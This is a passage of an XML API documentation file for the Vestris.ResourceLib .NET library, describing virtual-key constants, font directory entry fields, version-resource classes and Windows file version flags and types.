name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_ATTN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FINISH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_COPY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_AUTO\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_ENLW\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_BACKTAB\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ATTN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CRSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EXSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EREOF\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PLAY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ZOOM\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NONAME\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PA1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_CLEAR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.FONTDIRENTRY\">\n            <summary>\n            Contains information about an individual font in a font resource group. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfVersion\">\n            <summary>\n            Specifies a user-defined version number for the resource data that tools can \n            use to read and write resource files. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfSize\">\n            <summary>\n            Specifies the size of the file, in bytes. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfCopyright\">\n            <summary>\n            Contains a 60-character string with the font supplier's copyright information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfType\">\n            <summary>\n            Specifies the type of font file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPoints\">\n            <summary>\n            Specifies the point size at which this character set looks best. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfVertRes\">\n            <summary>\n            Specifies the vertical resolution, in dots per inch, at which this character set was digitized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfHorizRes\">\n            <summary>\n            Specifies the horizontal resolution, in dots per inch, at which this character set was digitized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfAscent\">\n            <summary>\n            Specifies the distance from the top of a character definition cell to the baseline of the \n            typographical font. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfInternalLeading\">\n            <summary>\n            Specifies the amount of leading inside the bounds set by the dfPixHeight member. Accent marks and \n            other diacritical characters can occur in this area. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfExternalLeading\">\n            <summary>\n            Specifies the amount of extra leading that the application adds between rows. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfItalic\">\n            <summary>\n            Specifies an italic font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfUnderline\">\n            <summary>\n            Specifies an underlined font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfStrikeOut\">\n            <summary>\n            Specifies a strikeout font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfWeight\">\n            <summary>\n            Specifies the weight of the font in the range 0 through 1000. For example, 400 is roman and \n            700 is bold. If this value is zero, a default weight is used.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfCharSet\">\n            <summary>\n            Specifies the character set of the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPixWidth\">\n            <summary>\n            Specifies the width of the grid on which a vector font was digitized. For raster fonts, \n            if the member is not equal to zero, it represents the width for all the characters in the \n            bitmap. If the member is equal to zero, the font has variable-width characters. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPixHeight\">\n            <summary>\n            Specifies the height of the character bitmap for raster fonts or the height of the grid \n            on which a vector font was digitized. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPitchAndFamily\">\n            <summary>\n            Specifies the pitch and the family of the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfAvgWidth\">\n            <summary>\n            Specifies the average width of characters in the font (generally defined as the width of \n            the letter x). This value does not include the overhang required for bold or italic characters. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfMaxWidth\">\n            <summary>\n            Specifies the width of the widest character in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfFirstChar\">\n            <summary>\n            Specifies the first character code defined in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfLastChar\">\n            <summary>\n            Specifies the last character code defined in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfDefaultChar\">\n            <summary>\n            Specifies the character to substitute for characters not in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfBreakChar\">\n            <summary>\n            Specifies the character that will be used to define word breaks for text justification.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfWidthBytes\">\n            <summary>\n            Specifies the number of bytes in each row of the bitmap. This value is always even so \n            that the rows start on word boundaries. For vector fonts, this member has no meaning. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfDevice\">\n            <summary>\n            Specifies the offset in the file to a null-terminated string that specifies a device name. \n            For a generic font, this value is zero. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfFace\">\n            <summary>\n            Specifies the offset in the file to a null-terminated string that names the typeface. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfReserved\">\n            <summary>\n            This member is reserved.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VarFileInfo\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. \n            It contains version information not dependent on a particular language and code page combination.\n            http://msdn.microsoft.com/en-us/library/aa909193.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Vars\">\n            <summary>\n            A hardware independent dictionary of language and code page identifier tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.#ctor\">\n            <summary>\n            A new hardware independent dictionary of language and code page identifier tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.#ctor(System.IntPtr)\">\n            <summary>\n            An existing hardware independent dictionary of language and code page identifier tables.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read a hardware independent dictionary of language and code page identifier tables.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of data.</param>\n            <returns>Pointer to the end of data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the hardware independent dictionary of language and code page identifier tables to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Default\">\n            <summary>\n            The default language and code page identifier table.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Item(System.UInt16)\">\n            <summary>\n            Returns a language and code page identifier table.\n            </summary>\n            <param name=\"language\">Language ID.</param>\n            <returns>A language and code page identifier table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.ToString(System.Int32)\">\n            <summary>\n            String representation of VarFileInfo.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String in the VarFileInfo format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VarTable\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It typically contains a \n            list of language and code page identifier pairs that the version of the application or DLL supports.\n            http://msdn.microsoft.com/en-us/library/bb202818.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarTable.Languages\">\n            <summary>\n            A dictionary of language and code page identifier pairs.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor\">\n            <summary>\n            A new table of language and code page identifier pairs.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor(System.String)\">\n            <summary>\n            A new table of language and code page identifier pairs.\n            </summary>\n            <param name=\"key\">Table key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor(System.IntPtr)\">\n            <summary>\n            An existing table of language and code page identifier pairs.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.Read(System.IntPtr)\">\n            <summary>\n            Read a table of language and code page identifier pairs.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the data.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the table of language and code page identifier pairs to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>Last unpadded position.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarTable.Item(System.UInt16)\">\n            <summary>\n            Returns a code page identifier for a given language.\n            </summary>\n            <param name=\"key\">Language ID.</param>\n            <returns>Code page identifier.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.ToString(System.Int32)\">\n            <summary>\n            String representation of the var table.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation of the var table.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VersionResource\">\n            <summary>\n            VS_VERSIONINFO\n            This structure depicts the organization of data in a file-version resource. It is the root structure\n            that contains all other file-version information structures.\n            http://msdn.microsoft.com/en-us/library/aa914916.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Header\">\n            <summary>\n            The resource header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Resources\">\n            <summary>\n            A dictionary of resource tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing version resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.#ctor\">\n            <summary>\n            A new language-netural version resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a version resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.FileVersion\">\n            <summary>\n            String representation of the file version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.FileFlags\">\n            <summary>\n            Gets or sets a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.ProductVersion\">\n            <summary>\n            String representation of the protect version.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write this version resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Item(System.String)\">\n            <summary>\n            Returns an entry within this resource table.\n            </summary>\n            <param name=\"key\">Entry key.</param>\n            <returns>A resource table.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Item(System.Int32)\">\n            <summary>\n            Returns an entry within this resource table.\n            </summary>\n            <param name=\"index\">Entry index.</param>\n            <returns>A resource table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.ToString\">\n            <summary>\n            Return string representation of the version resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver\">\n            <summary>\n            winver.h, version management functions, types and definitions\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_SIGNATURE\">\n            <summary>\n            VS_VERSION signature.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_STRUCVERSION\">\n            <summary>\n            VS_VERSION structure version.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_FILEFLAGSMASK\">\n            <summary>\n            VS_VERSION file flags mask.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileFlags\">\n            <summary>\n            VS_VERSION file flags.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_DEBUG\">\n            <summary>\n            The file contains debugging information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PRERELEASE\">\n            <summary>\n            The file is a prerelease development version, not a final commercial release.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PATCHED\">\n            <summary>\n            PThe file has been modified somehow and is not identical to the original file\n            that shipped with the product. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PRIVATEBUILD\">\n            <summary>\n            The file was not built using standard release procedures. There should be data \n            in the file's \"PrivateBuild\" version information string. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_INFOINFERRED\">\n            <summary>\n            The version information in this structure was not found inside the file, \n            but instead was created when needed based on the best information available. \n            Therefore, this structure's information may differ slightly from what the \"real\"\n            values are.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_SPECIALBUILD\">\n            <summary>\n            The file was built using standard release procedures, but is somehow different \n            from the normal file having the same version number. There should be data in the \n            file's \"SpecialBuild\" version information string.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileOs\">\n            <summary>\n            VS_VERSION file OSs.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_UNKNOWN\">\n            <summary>\n            The operating system under which the file was designed to run could not be determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS\">\n            <summary>\n            The file was designed to run under MS-DOS. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS216\">\n            <summary>\n            The file was designed to run under a 16-bit version of OS/2. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS232\">\n            <summary>\n            The file was designed to run under a 32-bit version of OS/2.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_NT\">\n            <summary>\n            The file was designed to run under Windows NT/2000.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_WINCE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__WINDOWS16\">\n            <summary>\n            The file was designed to run under the 16-bit Windows API. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__PM16\">\n            <summary>\n            The file was designed to be run under a 16-bit version of Presentation Manager. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__PM32\">\n            <summary>\n            The file was designed to be run under a 32-bit version of Presentation Manager.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__WINDOWS32\">\n            <summary>\n            The file was designed to run under the 32-bit Windows API. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS_WINDOWS16\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS_WINDOWS32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS216_PM16\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS232_PM32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_NT_WINDOWS32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileType\">\n            <summary>\n            VS_VERSION file types.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_UNKNOWN\">\n            <summary>\n            The type of file could not be determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_APP\">\n            <summary>\n            The file is an application.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_DLL\">\n            <summary>\n            The file is a Dynamic Link Library (DLL). \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_DRV\">\n            <summary>\n            The file is a device driver. dwFileSubtype contains more information. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_FONT\">\n            <summary>\n            The file is a font. dwFileSubtype contains more information. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_VXD\">\n            <summary>\n            The file is a virtual device.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_STATIC_LIB\">\n            <summary>\n            The file is a static link library.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileSubType\">\n            <summary>\n            File sub-type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_UNKNOWN\">\n            <summary>\n            The type of driver could not be determined. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_PRINTER\">\n            <summary>\n            The file is a printer driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_KEYBOARD\">\n            <summary>\n            The file is a keyboard driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_LANGUAGE\">\n            <summary>\n            The file is a language driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_DISPLAY\">\n            <summary>\n            The file is a display driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_MOUSE\">\n            <summary>\n            The file is a mouse driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_NETWORK\">\n            <summary>\n            The file is a network driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_SYSTEM\">\n            <summary>\n            The file is a system driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_INSTALLABLE\">\n            <summary>\n            The file is an installable driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_SOUND\">\n            <summary>\n            The file is a sound driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_COMM\">\n            <summary>\n            The file is a communications driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_INPUTMETHOD\">\n            <summary>\n            The file is an input method driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_VERSIONED_PRINTER\">\n            <summary>\n            The file is a versioned printer driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_RASTER\">\n            <summary>\n            The file is a raster font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_VECTOR\">\n            <summary>\n            The file is a vector font. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_TRUETYPE\">\n            <summary>\n            The file is a TrueType font. \n            </summary>\n        </member>\n    </members>\n</doc>\n"
  }
]